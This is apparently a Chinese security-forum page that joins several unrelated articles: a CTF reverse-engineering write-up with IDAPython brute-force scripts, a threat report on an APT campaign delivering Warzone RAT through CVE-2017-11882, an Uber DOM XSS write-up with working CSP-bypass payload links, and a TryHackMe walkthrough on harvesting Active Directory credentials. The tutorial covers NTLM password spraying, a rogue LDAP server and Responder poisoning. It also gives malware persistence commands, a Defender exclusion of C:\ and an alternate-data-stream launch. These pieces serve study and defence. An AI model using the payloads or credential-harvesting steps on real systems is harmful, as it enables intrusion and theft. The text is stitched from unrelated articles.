第二题难度比较大，如题所述，整个题目中充斥了很多的垃圾指令，导致程序流程异常复杂，对分析产生了很多困扰。 首先进入主函数，很明显，如果输入参数不是3个，就会调用一个函数，估计是退出，我将其命名为exit，然后对第二个参数进行判断，不满足条件又会调用exit，再对第三个参数进行判断，不满足也会调用exit。最后如果情况都满足，则在最后调用一个函数来判断，同时将2个参数传入进去，这是很明显最后的check函数，也称为主逻辑。 尝试运行程序，发现运行时间非常长，平均要好几秒才运行完毕，而且根据情况的不同会打印出不同的提示字符串。比如，如果我就输入一个参数会打印出`Usage: ./chall user pass`等等，这些情况包括： I don't like your name Is that a password? Maybe they're hiring at mc donald's? :/ Computing stuff... Usage: ./chall user pass 根据这种情况，我猜测是程序对字符串进行了动态解密，于是先找到字符串解密的地方，就能对程序指向流程有个整体的把握。而很明显，字符串解密的地方就在exit这个函数中，因为这个函数被大量引用，且符合上文所述的参数个数不一致问题所打印的提示信息。 ### 解密字符串 下面跟进exit这个函数，发现其只做了一件事，即将一些常量作为参数来调用另一个函数，我将其命名为calcMsg。 对这些字符串并不能得到很多有用的信息，于是继续跟进calcMsg这个函数，我将其中的垃圾指令擦除后，可以看的更清晰些，如下图所示。 其中能看到md5的字样，估计是调用了md5函数进行hash计算，而其中的sub296b伪代码如下： _BYTE *__fastcall sub_296B(const char *a1, __int64 a2, unsigned int a3, __int64 a4) { v7 = a3; v6 = a4; v10 = strlen(a1); v9 = 0; v8 = 0; while ( v7 > v9 ) { v4 = sub_275F(*(v8 + a2)); *(v9 + v6) = (16 * v4 + sub_275F(*(v8 + 1LL + a2))) ^ a1[v9 % v10]; v8 += 2; ++v9; } result = (v9 + v6); *result = 0; return result; } __int64 __fastcall sub_275F(unsigned __int8 a1) { if ( a1 > '/' && a1 <= '9' ) return a1 - 48; if ( a1 <= '9' ) return a1; return a1 - 'W'; } 简单来说，这段代码就是将输入的字符串转成十六进制值，同时每一位和一个密钥进行循环异或，综合前一个函数的调用情况，简单来说做了这些事情： 1. 初始化一个密钥，其值是10000。 2. 将密钥打印到一个数组中，同时将其作为参数调用另一个函数，该函数将原函数的参数作为序号，将常量字符串转换成相应的十六进制值，同时和密钥进行异或。 3. 将异或的值进行md5计算，将结果和序号所指定的hash值对比，如果相等则退出，否则进行循环，将密钥加一，重复操作。 至此，我们大致分析完了整个字符串解密的过程，这也能大致解释为什么这个程序运行的这么慢，主要是密钥的初始值太小，只有10000，或者说作者将指定的密钥设计的太大。而在这个程序中，经过自己调试，发现当密钥的值是13371337时满足条件，即可进行解密。完整idapython脚本如下所示，注意自己已经将密钥的初始化值设置为13371336，防止计算时间太慢。 from idaapi import * from idc import * from idautils import * import hashlib def getMd5(src): m1 = hashlib.md5() m1.update(src) return m1.hexdigest() secret = 0x8b80 md5hash = 0x8be0 iv = 13371336 ivs = [0,1,3,4,5,6,7,8] for i in ivs: init = GetString(Qword(secret + 8*i)).decode('hex') hash = GetString(Qword(md5hash + 8*i)) #print init while True: key = str(iv) t = '' for i in xrange(len(init)): t += chr(ord(init[i]) ^ ord(key[i%len(key)])) #print t if getMd5(t) == hash: #print key print t break iv += 1 运行结果如下图所示。 注意整个解密过程是不包括偏移量是2的那个字符串的，因为他是真正的flag加密的字符串，可以用交叉引用来证明，同时该字符串是使用aes进行加密，和这里无关。 ### 主check逻辑 在完成字符串解密后，我们只能通过字符串引用的位置大致推测每一段check的作用是什么，比如第一个check就是判断输入参数是不是3个，第二个check判断输入长度是否满足大于15并且小于等于63。在满足这个条件的情况下，程序会输出`Computing stuff...`然后进入真正的check逻辑，下面开始分析。 如下图所示，首先滤去垃圾指令，在函数开头计算2个参数的长度，因为上文的检测，所以肯定满足小于等于63的条件，然后进入change1这个函数进行变换。 change1这个函数中又调用了另一个函数，如下图所示： 很明显这是用来进行素数判断的，将从零到某个数字范围内的所有素数都求出来，然后返回到这个集合。然后在change1中，求出字符串长度和64之间的差值，然后进行循环，将素数集合作为index，求出字符串对应index下的值，添加到字符串末尾，然后结束。 然后取出字符串中2个特定位置上的值，对其进行操作，这里由于参数1是指定的，所以我们可以进行部分化简，我的注释也标在图上了。 要注意的是，这里还定义了一个655大小的数组，也是变相进行混淆，然后程序还定义了一张表，从A到S，是为了映射用的，如下图所示，之后进行了一段很难理解的计算。 这段计算代码如下所示，如果真的是这样看的话，自己很难理解其中的意思，其真正的作用是计算十进制数的位数，之前在29c3 ctf中也有类似的[题目解析](https://baghaliteam.wordpress.com/2012/12/30/29c3ctf-bin300-maya/)。 while ( v23 && i_1 <= 15 ) { v23 = (((0x6666666666666667LL * v23) >> 64) >> 2) - (v23 >> 63); ++i_1; } 那么第二段何其类似的代码也能理解了，就是取整数的最低位，然后次低位这样，然后再映射到A到S的表中。 while ( v24 && i_1 <= 15 ) { v10 = v24 - 10 * ((((0x6666666666666667LL * v24) >> 64) >> 2) - (v24 >> 63)); // 取最低位 v24 = (((0x6666666666666667LL * v24) >> 64) >> 2) - (v24 >> 63); v11 = i_1++; v42[v11] = table[v10]; } 最后再用a来填充，对齐到16的倍数。比如上面计算出来的结果是123，那么3对应D，2对应C，1对应B，依次添加，最后的结果就是123DCBaaaaaaaaaa。 while ( i_1 <= 15 ) { v12 = i_1++; v42[v12] = 'a'; } 最后一步操作就是转成十六进制，然后取其5-8位，进行md5的计算，如果和给定的常量相同就算成功？ ### 求解过程 首先md5的原象只有4位，在很容易爆破，容易得到27debb435021eb68b3965290b5e24c49的原象是7303，那么我们需要的就是字符串5-8位是7303。idapython脚本如下： from idaapi import * from idc import * from idautils import * from string import maketrans k = maketrans("0123456789", "ABCDEFGHIJ") cipherTable = [] ans = [] for i in xrange(655): cipherTable.append(Dword(0x8140 + 4*i)) def getflag(x, y): sum1 = x - 0x30 + 634 + cipherTable[y] + 892360 #print sum1 s = map(lambda x: sum1 + x, cipherTable) t = str(s[155 - x]) p = t + t[::-1].translate(k) if p.encode('hex')[5:9] == '7303': ans.append(chr(x) + 'a' * 0x29 + chr(y)) for i in xrange(0x20, 0x7f): for j in xrange(0x20, 0x7f): getflag(i, j) 但是一共会得到90种不同的解，肯定不是每个解都对的，这里其实还有一个问题，因为flag是通过aes解密出来的，可能会存在数据错误，导致异常产生，我的办法就是一个一个试了，可以通过pwntools来实现自动化测试。 from pwn import * #context.log_level = "debug" name = "73FF9B24EF8DE48C346D93FADCEE01151B0A1644BC81" p = process(argv=["./junkyard", name, ans]) p.recv() 最后得到正确的输入是2aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaC，输入就能解密得到flag。 ## 总结 1. 对于垃圾指令很多的情况，需要找出垃圾指令填充的规律，然后就能略去很大无用的代码。 2. 对于整体的解密思路还存在宏观把握不够的情况，具体表现在求素数那部分，其实那部分之后并没有用到，因为最后只用到了输入的其中2位，然后进行爆破就行了，所以还是多分析了很多部分，浪费了很多时间。 3. 学到了加密常量字符串的新方法，通过指定循环次数来进行哈希运算，可以对字符串进行保护，同时要进行哈希运算，加大了运行时间，减少了爆破的机会。
社区文章
**作者：深信服千里目安全实验室 原文链接：<https://mp.weixin.qq.com/s/fsesosMnKIfAi_I9I0wKSA>** ## 事件简介 近期，深信服千里目高级威胁研究团队监测到" **魔罗桫** ”组织针对南亚军工企业的攻击活动。该组织利用诱饵文档“China Cruise Missiles Capabilities-Implications for the Indian Army.docx”。经过深入追踪，文档内容摘抄自印度的orfonline站点，里面包含了 **英文的导弹技术报告，意在瞄准军工企业** 。受害者打开文档后，会触发office公式编辑器漏洞，进而下载执行恶意软件Warzone RAT，实现长期控制主机和窃密敏感资料的目的。我们从技术等多维度对比了该组织上一次利用热门话题的攻击活动，本次攻击依然沿用了 **军事话题诱饵文档+漏洞利用+伪装微软域名+商业木马** 的攻击套路。 APT组织”魔罗桫”（又名为Confucius），是一个 **长期针对中国、巴基斯坦、尼泊尔等地区** ，主要瞄准 **政府机构，军工企业，核能行业** 等领域进行网络间谍活动的活跃组织。 ## 样本简介 此类恶意文档主要通过钓鱼邮件进行传播，用户打开该恶意文档后，显示的是看似正常的相关报告，背后会通过office编辑器漏洞从黑客的服务端下载恶意文件并隐蔽执行，最终受害用户计算机被黑客组织控制，资料被窃取。恶意word文件打开后实际内容如下。 涉及到一些公开的产品参数： ## 攻击溯源 从传播方式上此次攻击的载体为恶意文档，附带热点时事内容，对比前几次追踪到的攻击活动，存在一定的相似性。 最近的一次攻击事件采用的恶意文档内容来源于国外Bulletin（免费新闻与双月刊站点）2020年11月9日公开发布的一篇文章，标题是“Here's what to expect from Biden on top nuclear weapons issues”。 从利用手法上则使用同样的远程模板与office编辑器漏洞，请求服务端的地址msoffice.user-assist.site与前几次使用过的域名构成结构存在一定的相似性，以伪装微软或者office等连接域名绕过黑白名单限制。 中间阶段释放的恶意dll文件整体架构与导出函数与之前捕获的样本基本功能是一致的，最终释放的远控也是之前攻击活动使用过的Warzone（Ave Maria）RAT。依据本次攻击活动的TTPs以及落地的恶意文件特性与细节与IOC等相似性，我们可以判定这是”魔罗桫”（国外安全厂商命名为Confucius）APT的最新攻击活动。 ## 攻击总结 根据以往几次攻击活动的方式与媒介，如利用引起媒体高度关注的最新消息来作为诱饵主题内容，最终的C&C存活的时间不长，每次被捕获的攻击活动存在细微差异，这也说明了该组织正在发展与适应，可以预见摩罗桫（Confucius）APT组织不仅是现在，未来依然会持续不断地针对特定的目标与机构发起网络攻击。 ## 详细分析 对诱饵文件“China Cruise Missiles Capabilities-Implications for the Indian Army.docx”的内容进行深入研究，发现该文档内容来源于印度的orfonline站点，发布于2020年12月4日，orfonline站点是允许不同观点与意见进行讨论的印度公众站点。 本次攻击流程图如下： 受害用户无意打开恶意文件后，会直接从服务端下载模板文件（实际是携带office公式编辑器漏洞CVE-2017-11882的恶意RTF文档）。 该诱饵文件的最后一次修改时间为2020年12月10日，可以猜测本次攻击活动发生在该时间之后的某个时段。 内嵌的远端模板地址，URL的目的是伪装成office更新，如下。 下载的rtf文档在漏洞利用成功后，恶意代码会释放加载内嵌的bing.dll文件。 该dll的导出函数为mark，原始文件名为linknew.dll，本次攻击活动的dll文件已经不存在pdb路径，而之前捕获的一次攻击活动攻击者采用了该pdb路径：C:\Users\admin\Documents\dll\linknew\Release\linknew.pdb，说明攻击者已经有意识地在进行痕迹地清理。 编译时间为2020年11月26日 调用导出函数mark 后续该dll文件会通过URLDownloadToFile函数从<http://msoffice.user-assist.site/update/content>下载到本地命名为update.exe，接着创建快捷方式设置到启动目录为update.lnk文件，后续重启后启动。在32位系统环境下，恶意文件会首先注入到explorer.exe进程，之后该恶意文件会通过com功能复制自身并改名为update.exe至C:\ProgramData\Software\update.exe，并通过注册表`HKCU\Software\Microsoft\Windows\CurrentVersion\Run`为路径C:\Users\xxxx\AppData\Roaming\svchost.exe（svchost.exe是update.exe拷贝衍生）设置自启动，建立持久性。 利用pkgmgr.exe、dism.exe运行机制加com功能替换系统掉dismcore.dll文件提升自身程序权限后，恶意软件会使用powershell命令从Windows Defender中排除整个C驱动器。执行的命令：powershell Add-MpPreference -ExclusionPath C:\。然后释放programs.bat文件至目录C:\Users\xxxx\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\（属于开始\启动菜单）下，后续重启后再次执行，programs.bat文件内容如下： for /F "usebackq tokens=*" %%A in ("C:\Users\xxxx\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\programs.bat:start") do %%A 在隐蔽性方面，programs.bat:start文件是母体为上述programs.bat采用ADS数据流生成的文件，接着执行后会通过wmic命令创建Roaming:ApplicationData进程，而Roaming:ApplicationData同样是自身母体程序通过ADS数据流产生的文件，实际内容如下： wmic process call create '"C:\Users\xxxx\AppData\Roaming:ApplicationData"' 最终发现update.exe会在内存解密释放出Ave Maria远控木马，也被称为Warzone RAT。经过分析为Warzone160版本的RAT，Warzone RAT是一款以恶意软件即服务（MaaS）作为商业模式的远控工具，有多次已公开的进行攻击活动的记录。黑客使用它来远程控制受害者的PC，并从受感染的计算机中窃取信息，经过分析C&C地址为[syncronize.3utilities.com](http://syncronize.3utilities.com/)（45.147.231.232([ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=45.147.231.232))）。 ## 深信服解决方案 深信服下一代防火墙AF、终端检测响应平台EDR、安全感知平台SIP等安全产品，已集成了SAVE人工智能引擎，均能有效检测防御此恶意软件，已经部署相关产品的用户可以进行安全扫描，检测清除此恶意软件，如图所示： 1.深信服安全感知平台、下一代防火墙、EDR用户，建议及时升级最新版本，并接入安全云脑，使用云查服务以及时检测防御新威胁； 2.深信服安全产品继承深信服SAVE安全智能检测引擎，拥有对未知病毒的强大泛化检测能力，能够提前精准防御未知病毒； 3.深信服推出安全运营服务，通过以“人机共智”的服务模式提供安全设备策略检查、安全威胁检查、相关漏洞检查等服务，确保第一时间检测风险以及更新策略，防范此类威胁。 ## 威胁情报 **MD5** 9f54962d644966cfad560cb606aeade2 （China Cruise Missiles Capabilities-Implications for the Indian Army.docx） 912141bb5b4020c2cc75a77c37928a3b （word） e13134c8411557ce9c9e58d57b855a62 （content） 915F528202B036DC5D660F44C187F121 （bing.dll） 6b906764a35508a7fd266cdd512e46b1 （dismcore.dll） 7707871515E16C8E8461CED7AF1CACDD （Warzone RAT） **URL** http[:]//msoffice.user-assist.site/refresh/word http[:]//msoffice.user-assist.site/update/content **DOMAIN** msoffice[.]user-assist.site [syncronize[.]3utilities.com](http://syncronize.3utilities.com/) **IP** 45[.]84.204.148([ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=45.84.204.148)) 45[.]147.231.232([ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=45.147.231.232)) * * *
社区文章
# 【技术分享】Uber中的DOM XSS漏洞分析 | ##### 译文声明 本文是翻译文章，文章来源：stamone-bug-bounty.blogspot.fr 原文地址：<https://stamone-bug-bounty.blogspot.fr/2017/10/dom-xss-auth_14.html> 译文仅供参考，具体内容表达以及含义原文为准。 译者：[h4d35](http://bobao.360.cn/member/contribute?uid=1630860495) 预估稿费：200RMB 投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿 **前言** 终于，在阅读了很多关于漏洞赏金的writeup后，我自己也写了一个。 我希望你能从这篇writeup中得到一些东西，开启你的漏洞赏金之旅。 简单介绍一下自己，我在[Citadel](http://www.citadel.co.il)咨询公司担任安全渗透员。 我虽然没有提交过太多的漏洞，但是我喜欢阅读其他漏洞赏金猎人提交的漏洞分析，因为我认为这是学习新技术的最好的方法之一。 **Uber DOM XSS的发现** 这篇writeup是关于我在 **auth.uber.com** 域中找到的 **DOM XSS** 。 这一切都始于这个链接： https://auth.uber.com/login/?next_url=https%3A%2F%2Faccounts.uber.com%2Fprofile%2F&state=CISjEn7fDHVmQybjIOq_ZfPU8cVhJh9mOSsme-LYJUo%3D 可能大多数uber用户都熟悉这个，但是如果你不清楚的话，简单介绍一下： 第一种行为： **当非授权用户试图访问uber的某个域如m.uber.com，riders.uber.com等时，这些域名将他重定向到登录界面，也就是auth.uber.com，同时提交一个名为next_url的参数，用于成功登录后将用户重定向回原域。** 第二种行为： **如果通过身份验证的用户访问此链接，服务器将返回一个302响应，并将页面重定向到next_url参数提供的网址。** 当你看到这样的行为时，想到的第一个漏洞是什么？ 你猜对了（也许没猜对），这是一个开放的重定向（open direct）。 所以，我决定尝试通过更改next_url参数中的域名来进行尝试： https://auth.uber.com/login/?next_url=https%3A%2F%2Fhackerone.com%2Fprofile%2F&state=CISjEn7fDHVmQybjIOq_ZfPU8cVhJh9mOSsme-LYJUo%3D 然而并没有什么卵用…… **绕过白名单验证** 显然在应用服务端有一些白名单验证机制，只允许重定向到有效的uber子域（但不是全部），如m.uber.com或accounts.uber.com。 我尝试了多种不同的重定向绕过技巧试图绕过这种验证，但似乎都没有用。 @zseano写了的一个很好的教程，总结了一些技巧： [https://zseano.com/tutorials/1.html](https://zseano.com/tutorials/1.html) 在我试图绕过域名验证期间，我注意到了一些事情，服务器并未校验 **next_url** 参数中协议名。 现在我可以发送类似以下请求： https://auth.uber.com/login/?next_url=ftp％3A％2F％2Faccounts.uber.com％2Fprofile％2F＆state=CISjEn7fDHVmQybjIOq_ZfPU8cVhJh9mOSsme-LYJUo％3D 现在我首先想到的是使用javascript协议，这将导致301重定向到以下location头： 链接： https://auth.uber.com/login/?next_url=jaVaScript://accounts.uber.com/%0a%0dalert(1)//%2Fprofile%2F&state=CISjEn7fDHVmQybjIOq_ZfPU8cVhJh9mOSsme-LYJUo%3D Location头： Location: jaVAscript://accounts.uber.com/%0a%0dalert(1)// 但它不会工作，因为大多数浏览器已不再支持这种行为。 另外注意到我写了 **jaVAscript** 而不是javascript（小写），这是因为后者被列入服务器的黑名单。 现在我的目标是找到一个能够执行重定向并绕过域名验证的协议。经过一些手动fuzz后，我可以使用DATA协议实现这种绕过： 编码后： https://auth.uber.com/login/?next_url=data:accounts.uber.com;text/html;charset=UTF-8,%3Chtml%3E%3Cscript%3Ewindow.location%3D%22https%3A%2F%2Freddit.com%22%3B%3C%2Fscript%3E%3C%2Fhtml%3E&state=x 解码后： https://auth.uber.com/login/?next_url=data:accounts.uber.com;text/html;charset=UTF-8,<html><script>window.location="https://reddit.com";</script></html>&state=x 服务器返回的响应如下： 正如你所看到的，我可以通过使用data协议来实现使用JavaScript代码（window.location）的重定向。 **浏览器差异分析** 有人可能会想，为什么我不直接弹个窗，并向uber提交了一个XSS漏洞。 这是因为JavaScript代码没有运行在auth.uber.com域上。然后，服务器返回的301响应使用Location头执行重定向，页面的origin发生改变，在这种情况下，origin为空。 还有一点很重要，那就是上述重定向技术只能在Firefox浏览器中使用，在Chrome中不起作用。 Chrome会阻止此请求，原因有二： **Chrome不支持使用Location头重定向到data协议** **Chrome浏览器与Firefox解析页面的方式不同，不会容忍data协议中的语法错误（data:accounts.uber.com;html/text – 想起来了吗？）** 使用Location头重定向到data协议时，Chrome提示以下错误消息： 复制粘贴到网址栏： 所以，本writeup的第一个提示：在某些情况下，不同的浏览器的行为是不同的，所以如果你的payload在某个浏览器中不起作用，并不表示其他浏览器也不会执行它。 在实现了开放重定向之后(此类漏洞并不在uber赏金计划的范围之内)，我暂时放弃了这个攻击向量，去忙其他事情了。 **漏洞深入挖掘** 几个星期过去了，我又无聊了，所以决定再回过头看看这个漏洞。 然后，当我用上述链接登录到我的uber帐户时，我注意到之前我错过了一些东西，当您尝试访问没有活动会话的URL时，重定向过程是不同的。 完成登录过程后，服务器响应如下所示： 我怎么会错过这个行为？可能是因为我在一个活动的会话中做了大部分重复工作，结果总是导致302重定向。 那么，你注意到了吗？ 上述响应没有使用Location头实现重定向，响应代码是200，但我仍然被重定向了，这意味着真相只有一个：重定向是在JavaScript中执行的。 通常这意味着： window.location.href = nextURL; 理论上，如果我能控制nextURL参数（我确实能），我就可以使用这个方法来执行XSS： window.location.href = jaVAscript://accounts.uber.com//%0d%0aalert(1); // 或者： window.location.href = data:accounts.uber.com; text/html; HTML_CODE 所以我尝试使用以下链接进行登录： https://auth.uber.com/login/?next_url= JaVAscript％3A％2F％2Faccounts.uber.com％2F％2F％0d％0aalert(1)％3B％2F％2F＆state=x [](https://auth.uber.com/login/?next_url=JaVAscript%253A%252F%252Faccounts.uber.com%252F%252F%0D%0Aalert\(1\)%253B%252F%252F&state=x) 然并卵…… 可能是因为尽管没有阻止使用javascript协议，但仍然有一些客户端校验。我决定不浪费时间在这方面，于是尝试了另一种方法： https://auth.uber.com/login/?next_url=data:accounts.uber.com;text/html;charset=UTF-8,%3Chtml%3E%3Cscript%3Edocument.write(document.domain);%3C％2Fscript％3E％3Ciframe/SRC=XXXXX％3Eaaaa％3C/iframe中％3E％3C％2Fhtml％3Estate=X 仍然不起作用…… **CSP分析与绕过** 但是这一次我在浏览器的URL栏中看到数据了，这意味着我被重定向了。但是弹窗在哪里？ 首先我需要确认这个页面的源是auth.uber.com： F12（开发人员工具）——>控制台选项卡——> alert(document.domain); 我得到了这个弹窗： 在页面上快速查看浏览一下源代码，一切看起来似乎都很正常… 但是为什么没有弹窗呢？ 查看我的请求历史记录后，我注意到了这个： **内容安全策略CSP** …就是这个阻止弹窗了？但是CSP头在哪里？并未出现在这个响应中： 在历史记录中快速搜索一下，得到如下结果： 我做了一个快速测试，以确认这确实是导致没有弹窗的原因。通过从响应中删除CSP头，然后我访问了以下链接： https://auth.uber.com/login/?next_url=data:accounts.uber.com;text/html;charset=UTF-8,%3Chtml%3E%3Cscript%3Edocument.write(document.domain);%3C%2Fscript%3E%3Ciframe/src=xxxxx%3Eaaaa%3C/iframe%3E%3C%2Fhtml%3E&state=x Boom！成功弹窗！ 这里我要坦白一下，我以前从没遇到过必须绕过CSP的情况，所以我对此不是很熟悉，我只是在一些漏洞分析中听说过这个。 我从阅读关于这种保护的文档和一些关于如何绕过它的文章开始。 这里是我看的一些文章链接： [https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) <—文档 [https://blog.compass-security.com/2016/06/content-security-policy-misconfigurations-and-bypasses/](https://blog.compass-security.com/2016/06/content-security-policy-misconfigurations-and-bypasses/) [https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it%27s-CSP!%22](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it%27s-CSP!%22) [https://medium.com/@tbmnull/making-an-xss-triggered-by-csp-bypass-on-twitter-561f107be3e5](https://medium.com/@tbmnull/making-an-xss-triggered-by-csp-bypass-on-twitter-561f107be3e5) **最终Payload形成** 所以花了一些时间了解CSP后，我得出了一些结论： 对我们很重要的一部分内容如下： 我不能使用内联脚本，因为会有随机的nonce值（每个请求都会变），所以不要使用： <script>alert(1);<script> 我唯一的机会是找到一个由CSP批准的域名，同时能够将我的输入作为javascript返回。 但是你有什么机会找到这样的东西？显然机会很多。 [https://en.wikipedia.org/wiki/JSONP](https://en.wikipedia.org/wiki/JSONP) 经过几分钟Google后，我发现了这个： 最终的链接为： https://app-lon02.marketo.com/index.php/form/getKnownLead?callback=alert(document.domain);// 完美！ 快速组装新的payload，我得到了这个： https://auth.uber.com/login/?next_url=data:accounts.uber.com%3Btext/html%3Bcharset=UTF-8,%3Chtml%3E%3Cscript%20src=%22https://app-lon02.marketo.com/index.php/form/getKnownLead?callback=alert(document.domain)%3B//%22%20data-reactid=%22341%22%3E%3C/script%3E%3C%2Fhtml%3E%26state%3Dx&state=x 登录然后…… 但是只有在用户未登录的情况下payload才有效，如何扩大影响范围？ 事实证明，如果你从URL中删除state参数，uber会强制用户再次登录，所以最终的链接如下所示： https://auth.uber.com/login/?next_url=data:accounts.uber.com%3Btext/html%3Bcharset=UTF-8,%3Chtml%3E%3Cscript%20src=%22https://app-lon02.marketo.com/index.php/form/getKnownLead?callback=alert(document.domain)%3B//%22%20data-reactid=%22341%22%3E%3C/script%3E%3C%2Fhtml%3E%26state%3Dx 任何人在Firefox中点此链接将被重定向到登录页面，然后引发XSS。 **总结** 最后，总结一下本篇writeup给出的启示： **总是尝试在多个浏览器中的测试payload。** **始终尝试注意应用程序行为的所有路径。** **多看writeup，能够学到很多东西。** **永不放弃;）**
社区文章
本篇文章记录一下关于AD凭据获取和信息收集的方法，学习一下tryhackme的靶场的相关知识。有5种方法获取AD凭据，分别是NTLM 认证服务、LDAP 绑定凭证、认证中继、Microsoft Deployment Toolkit、配置文件。 **第一种，NTLM认证。** NTLM认证服务是AD 中验证用户身份重要方式，NetNTLM网络上使用NTLM协议进行认证，NetNTLM，通常也称为 Windows 身份验证或简称为 NTLM 身份验证，目前很多服务都使用此认证，比如Outlook Web App，开放RDP服务的远程登录，与VPN集成的端点、一些使用NetNTLM的web服务。它允许应用程序在客户端和 AD 之间扮演中间人的角色。所有身份验证材料都以质询的形式转发给域控制器，如果成功完成，应用程序将对用户进行身份验证。这意味着应用程序代表用户进行身份验证，而不是直接在应用程序本身上对用户进行身份验证。这会阻止应用程序存储 AD 凭据，AD 凭据应该只存储在域控制器上。这个过程如下图所示： 1.用户请求接入 2.服务发送challenge给用户 3.服务发送response返回 4.服务向DC发送用户给的challenge 5.DC对比challenge和response看看能不能通过严重，把结果告诉服务 6.服务返回结果给用户 下面是tryhackme设计的一个理想环境，要我们对 <http://ntlmauth.za.tryhackme.com> 的NTLM进行暴力破解获取第一个合法凭据: 目前有很多工具支持暴力破解，速度也非常可靠。然而大多数 AD 环境都配置了帐户锁定，我们需要执行密码喷洒，这里环境提供了员工的初始密码为Changeme123，利用已经正准备好的字典和脚本来破解。需要注意，认证失败是可以被监测到的，实战尽可能挑选一个合适的时间和频率。如下所示，我们成功获取了合法用户： 你可能会问，现实生活NTLM认证的情况有多常见？我们用空间搜索引擎看看结果： 这里我用的是quack的，结果显示在中国，大约1w多个独立的ip，看起来并不常见？实际上一个公司用NTLM认证基本上，看网站图标除了微软自带的，还有很多web应用程序也用了NetNTLM认证，甚至出现了OA的系统（我不清楚quack是怎么获取到401后的图标的，我个人猜测是认证后的web应用程序），师傅们有兴趣可以仔细探索一下。实战中其实我个人而言碰到过不少次这种401未授权带NTLM认证的网站，也许拿到了好的字典后也能成为攻防演练后打点的关键。 **第二种，LDAP认证** 应用程序可以使用的另一种 AD 身份验证方法是轻量级目录访问协议 (LDAP) 身份验证。 LDAP 身份验证类似于 NTLM 身份验证。但是，使用 LDAP 身份验证时，应用程序会直接验证用户的凭据。该应用程序自己本身有一对 AD 凭据，它可以首先使用它们来查询 LDAP，然后验证 AD 用户的凭据。LDAP 身份验证是与 AD 集成的第三方（非 Microsoft）应用程序的流行机制，比方说Gitlab、Jenkins、打印机、VPN等等。下面是打印机的认证流程，流程图如下： 1.用户发送打印请求，请求种携带者用户名和密码 2.打印机用它自己的AD凭据创建LDAP绑定请求 3.DC提供绑定好了的回应 4.打印机用LDAP搜索，查看用户提供是不是存在的用户 5.DC返回用户搜索的相关信息 6.打印机发送携带用户密码发送绑定请求 7.DC判断成功，发送绑定回应 8.打印机返回信息告诉用户，打印任务已经接受 如果我们打下了处于和DC认证的服务，比方说打印机和gitlab都存在很多历史能RCE的漏洞，获取明文密码将会非常容易。这里值得提一句，gitlab的ldap的凭据是明文保存在配置文件的，默认路径在/etc/gitlab/gitlab.rb，如果是源安装的则是在/home/git/gitlab/config/gitlab.yml，配置文件如下： 我们要关注的字段是password和username，我们一般可以通过gitlab登录界面看得出来有没有开启，如果开启web界面会多一个ldap的登录框，当然也有可能开发者禁用了此登录页面，但是ldap认证还是能用的，如果师傅感兴趣可以进一步阅读官方文档学习配置文件的内容，里面可能还有其他非常有用的信息。官方文档链接：<https://docs.gitlab.cn/jh/administration/auth/ldap/#%E9%85%8D%E7%BD%AE%E6%A1%88%E4%BE%8B> 回到靶场，靶场利用的是LDAP密码回传攻击，设想这样一个场景，我们已经拿到了一台服务器的权限，在内网扫描的时候发现一台网络打印机的 Web 界面，如果如果提供弱口令或者其他方法进入打印机的管理页面，我们就可以修改打印机的配置，将此打印机的认证IP修改为我们的控制的IP，认证以明文的方式发送，我们就能直接获取域内的凭据了。以下为实际利用的情况：访问打印机服务：<http://printer.za.tryhackme.com/settings> 看上去我们知道了用户名，本次的密码被脱敏了，不过也许其他环境下查看一下HTML的源代码可能有惊喜。 修改DC的ip，让ip指向我们自己的机器，开启nc监听，看看是否有请求： 很顺利，我们收到了打印机的请求，不过事情没这么简单，打印机会和DC进行LDAP的协商，所以我们没办法直接用nc就拿到账户密码，我们需要托管一个恶意的ldap服务器，并对其进行不安全的配置，以确保凭据以明文形式发送。 apt-get update && sudo apt-get -y install slapd ldap-utils && sudo systemctl enable slapd 执行完成后将会有如下选项，要我们设计ldap的管理员密码： 完成安装，结果如下： 使用dpkg-reconfigure -p low slapd重新配置ldap服务器： 1.选中否 2.域名填我们要攻击的域名，我这里就算是靶场的za.tryhackme.com 3.对组织填刚刚的域名，也是za.tryhackme.com 4.选中否，不会删除数据库 1. 在创建新数据库文件之前移动旧数据库文件，选中是 6.设置完成 7.我们需要新建一个文件，olcSaslSecProps.ldif写入以下内容。需要进一步解释一下，olcSaslSecProps字段指定SASL 安全属性，noanonymous的情况表示禁用匿名登录，minssf是指最小安全保护，如果等于0的，就是不保护。 2. 我们启动服务ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart 9.确保我们的ldap只支持明文，也就是如下supportedSASLMechanisms: PLAIN supportedSASLMechanisms: LOGIN，输入如下命令ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms 10.开启tcpdump抓取389的流量，另外关注域名字段附近的数据包，就能看到密码了。 **第三种，NTLM Relay攻击** 在使用 Microsoft AD 的网络中，SMB 管理着从网络间文件共享到远程管理的一切事务，有两种不同的利用SMB进行NetNTLM身份验证利用的方法，第一种：由于NTLM Challenges可以被拦截，我们可以使用离线破解技术来恢复与NTLM Challenge相关的密码。然而，这个破解过程比直接破解 NTLM 哈希要慢得多。第二种：我们可以使用我们的控制的设备进行中间人攻击，在客户端和服务器之间中继 SMB 身份验证，这将为我们提供一个活动的身份验证会话和对目标服务器的访问。 Responder 允许我们通过在 NetNTLM 身份验证期间使响应中毒来执行中间人攻击，诱使客户端与我们服务器交谈，而不是他们想要连接的实际服务器。在真实的LAN上，Responder 将尝试毒化任何检测到的本地链路多播名称解析 (LLMNR)、NetBIOS 名称服务器 (NBT-NS) 和 Web 代理自动发现 (WPAD) 请求。在大型 Windows 网络上，这些协议允许主机为同一本地网络上的所有主机执行自己的本地 DNS 解析。主机可以首先尝试通过发送 LLMNR 请求并查看是否有任何主机响应来确定他们正在寻找的主机是否在同一本地网络上，而不是使 DNS 服务器等网络资源负担过重。我的Kali机器已经连接到vpn上了,直接执行responder -I breached就可以开始投毒了： 